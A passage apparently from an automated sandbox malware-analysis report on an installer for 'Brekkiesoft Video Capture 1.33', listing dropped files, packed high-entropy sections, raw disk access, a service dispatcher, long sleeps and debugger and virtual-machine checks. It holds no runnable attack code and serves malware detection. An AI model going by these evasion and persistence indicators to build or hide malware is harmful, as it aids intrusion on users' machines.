                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: dpapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: ncryptsslp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpWindow found: window name: TMainFormJump to behavior
                    Source: Window RecorderWindow detected: More than 3 window changes detected
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Brekkiesoft Video Capture_is1Jump to behavior
                    Source: basx.exeStatic file information: File size 3676893 > 1048576
                    Source: Binary string: msvcp71.pdbx# source: is-359A6.tmp.1.dr
                    Source: Binary string: msvcr71.pdb< source: is-U5A8T.tmp.1.dr
                    Source: Binary string: msvcp71.pdb source: is-359A6.tmp.1.dr
                    Source: Binary string: MicrosoftWindowsGdiPlus-1.0.2600.1360-gdiplus.pdb source: is-H722N.tmp.1.dr
                    Source: Binary string: msvcr71.pdb source: is-U5A8T.tmp.1.dr

                    Data Obfuscation

                    barindex
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeUnpacked PE file: 3.2.bsoftvideocapture33.exe.400000.0.unpack _aett_1:ER;_aftt_1:R;_agtt_1:W;.rsrc:R;_ahtt_1:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeUnpacked PE file: 3.2.bsoftvideocapture33.exe.400000.0.unpack
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,1_2_004502C0
                    Source: initial sampleStatic PE information: section where entry point is pointing to: _aett_1
                    Source: bsoftvideocapture33.exe.1.drStatic PE information: section name: _aett_1
                    Source: bsoftvideocapture33.exe.1.drStatic PE information: section name: _aftt_1
                    Source: bsoftvideocapture33.exe.1.drStatic PE information: section name: _agtt_1
                    Source: bsoftvideocapture33.exe.1.drStatic PE information: section name: _ahtt_1
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /4
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /19
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /35
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /51
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /63
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /77
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /89
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /102
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /113
                    Source: is-6NNVQ.tmp.1.drStatic PE information: section name: /124
                    Source: is-H722N.tmp.1.drStatic PE information: section name: Shared
                    Source: BrekkiesoftVideoCapture.exe.3.drStatic PE information: section name: _aett_1
                    Source: BrekkiesoftVideoCapture.exe.3.drStatic PE information: section name: _aftt_1
                    Source: BrekkiesoftVideoCapture.exe.3.drStatic PE information: section name: _agtt_1
                    Source: BrekkiesoftVideoCapture.exe.3.drStatic PE information: section name: _ahtt_1
                    Source: sqlite3.dll.3.drStatic PE information: section name: /4
                    Source: sqlite3.dll.3.drStatic PE information: section name: /19
                    Source: sqlite3.dll.3.drStatic PE information: section name: /35
                    Source: sqlite3.dll.3.drStatic PE information: section name: /51
                    Source: sqlite3.dll.3.drStatic PE information: section name: /63
                    Source: sqlite3.dll.3.drStatic PE information: section name: /77
                    Source: sqlite3.dll.3.drStatic PE information: section name: /89
                    Source: sqlite3.dll.3.drStatic PE information: section name: /102
                    Source: sqlite3.dll.3.drStatic PE information: section name: /113
                    Source: sqlite3.dll.3.drStatic PE information: section name: /124
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_004065C8 push 00406605h; ret 0_2_004065FD
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_004040B5 push eax; ret 0_2_004040F1
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00408104 push ecx; mov dword ptr [esp], eax0_2_00408109
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00404185 push 00404391h; ret 0_2_00404389
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00404206 push 00404391h; ret 0_2_00404389
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_0040C218 push eax; ret 0_2_0040C219
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_004042E8 push 00404391h; ret 0_2_00404389
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00404283 push 00404391h; ret 0_2_00404389
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00408F38 push 00408F6Bh; ret 0_2_00408F63
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0040994C push 00409989h; ret 1_2_00409981
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00483F88 push 00484096h; ret 1_2_0048408E
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004062B4 push ecx; mov dword ptr [esp], eax1_2_004062B5
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004104E0 push ecx; mov dword ptr [esp], edx1_2_004104E5
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00412928 push 0041298Bh; ret 1_2_00412983
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00494CAC push ecx; mov dword ptr [esp], ecx1_2_00494CB1
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0040CE38 push ecx; mov dword ptr [esp], edx1_2_0040CE3A
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004592D0 push 00459314h; ret 1_2_0045930C
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0040F398 push ecx; mov dword ptr [esp], edx1_2_0040F39A
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00443440 push ecx; mov dword ptr [esp], ecx1_2_00443444
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0040546D push eax; ret 1_2_004054A9
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0040553D push 00405749h; ret 1_2_00405741
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004055BE push 00405749h; ret 1_2_00405741
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00485678 push ecx; mov dword ptr [esp], ecx1_2_0048567D
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0040563B push 00405749h; ret 1_2_00405741
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004056A0 push 00405749h; ret 1_2_00405741
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004517F8 push 0045182Bh; ret 1_2_00451823
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004519BC push ecx; mov dword ptr [esp], eax1_2_004519C1
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00477B08 push ecx; mov dword ptr [esp], edx1_2_00477B09
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00419C28 push ecx; mov dword ptr [esp], ecx1_2_00419C2D
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0045FD1C push ecx; mov dword ptr [esp], ecx1_2_0045FD20
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00499D30 pushad ; retf 1_2_00499D3F
                    Source: bsoftvideocapture33.exe.1.drStatic PE information: section name: _aett_1 entropy: 7.7492404554080325
                    Source: BrekkiesoftVideoCapture.exe.3.drStatic PE information: section name: _aett_1 entropy: 7.7492404554080325

                    Persistence and Installation Behavior

                    barindex
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive03_2_02C7E8A8
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\uninstall\is-05H7T.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-40050.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_shfoldr.dllJump to dropped file
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeFile created: C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exeJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-KS9E4.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\sqlite3.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_iscrypt.dllJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\msvcp71.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\gdiplus.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-VN1MK.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-6NNVQ.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\msvcr71.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeFile created: C:\ProgramData\BrekkiesoftVideoCapture\sqlite3.dllJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-359A6.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-H722N.tmpJump to dropped file
                    Source: C:\Users\user\Desktop\basx.exeFile created: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-U5A8T.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\ltkrn13n.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\uninstall\unins000.exe (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\LTDIS13n.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_setup64.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeFile created: C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exeJump to dropped file
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeFile created: C:\ProgramData\BrekkiesoftVideoCapture\sqlite3.dllJump to dropped file

                    Boot Survival

                    barindex
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive03_2_02C7E8A8
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_00401BEA StartServiceCtrlDispatcherA,3_2_00401BEA
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,1_2_00423C0C
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,1_2_00423C0C
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004241DC IsIconic,SetActiveWindow,SetFocus,1_2_004241DC
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00424194 IsIconic,SetActiveWindow,1_2_00424194
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00418384 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,1_2_00418384
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0042285C SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,1_2_0042285C
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00417598 IsIconic,GetCapture,1_2_00417598
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0048393C IsIconic,GetWindowLongA,ShowWindow,ShowWindow,1_2_0048393C
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00417CCE IsIconic,SetWindowPos,1_2_00417CCE
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00417CD0 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,1_2_00417CD0
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0041F118 GetVersion,SetErrorMode,LoadLibraryA,SetErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,1_2_0041F118
                    Source: C:\Users\user\Desktop\basx.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,3_2_02C7E9AC
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeWindow / User API: threadDelayed 3391Jump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeWindow / User API: threadDelayed 6537Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\uninstall\is-05H7T.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-40050.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_shfoldr.dllJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-KS9E4.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_iscrypt.dllJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\msvcp71.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\gdiplus.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-VN1MK.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-6NNVQ.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\msvcr71.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-359A6.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-H722N.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-U5A8T.tmpJump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\ltkrn13n.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\LTDIS13n.dll (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\uninstall\unins000.exe (copy)Jump to dropped file
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_setup64.tmpJump to dropped file
                    Source: C:\Users\user\Desktop\basx.exeEvasive API call chain: GetSystemTime,DecisionNodesgraph_0-5971
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeAPI coverage: 2.8 %
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe TID: 6200Thread sleep count: 3391 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe TID: 6200Thread sleep time: -6782000s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe TID: 2676Thread sleep time: -1200000s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe TID: 6200Thread sleep count: 6537 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe TID: 6200Thread sleep time: -13074000s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeFile opened: PhysicalDrive0Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00452A60 FindFirstFileA,GetLastError,1_2_00452A60
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00474F88 FindFirstFileA,FindNextFileA,FindClose,1_2_00474F88
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004980A4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,1_2_004980A4
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00464158 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,1_2_00464158
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00462750 FindFirstFileA,FindNextFileA,FindClose,1_2_00462750
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00463CDC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,1_2_00463CDC
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00409B78 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,0_2_00409B78
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeThread delayed: delay time: 60000Jump to behavior
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000998000.00000004.00000020.00020000.00000000.sdmp, bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003384000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                    Source: C:\Users\user\Desktop\basx.exeAPI call chain: ExitProcess graph end nodegraph_0-6768
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess information queried: ProcessInformationJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C83A08 _memset,IsDebuggerPresent,3_2_02C83A08
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C8E6BE RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,3_2_02C8E6BE
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,1_2_004502C0
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C75E5F RtlInitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetTickCount,GetVersionExA,_memset,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,_memset,_memset,_memset,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_malloc,_malloc,_malloc,QueryPerformanceCounter,Sleep,_malloc,_malloc,_memset,_memset,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,3_2_02C75E5F
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C880E8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_02C880E8
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00478504 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,1_2_00478504
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0042E09C AllocateAndInitializeSid,GetVersion,GetModuleHandleA,GetProcAddress,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,1_2_0042E09C
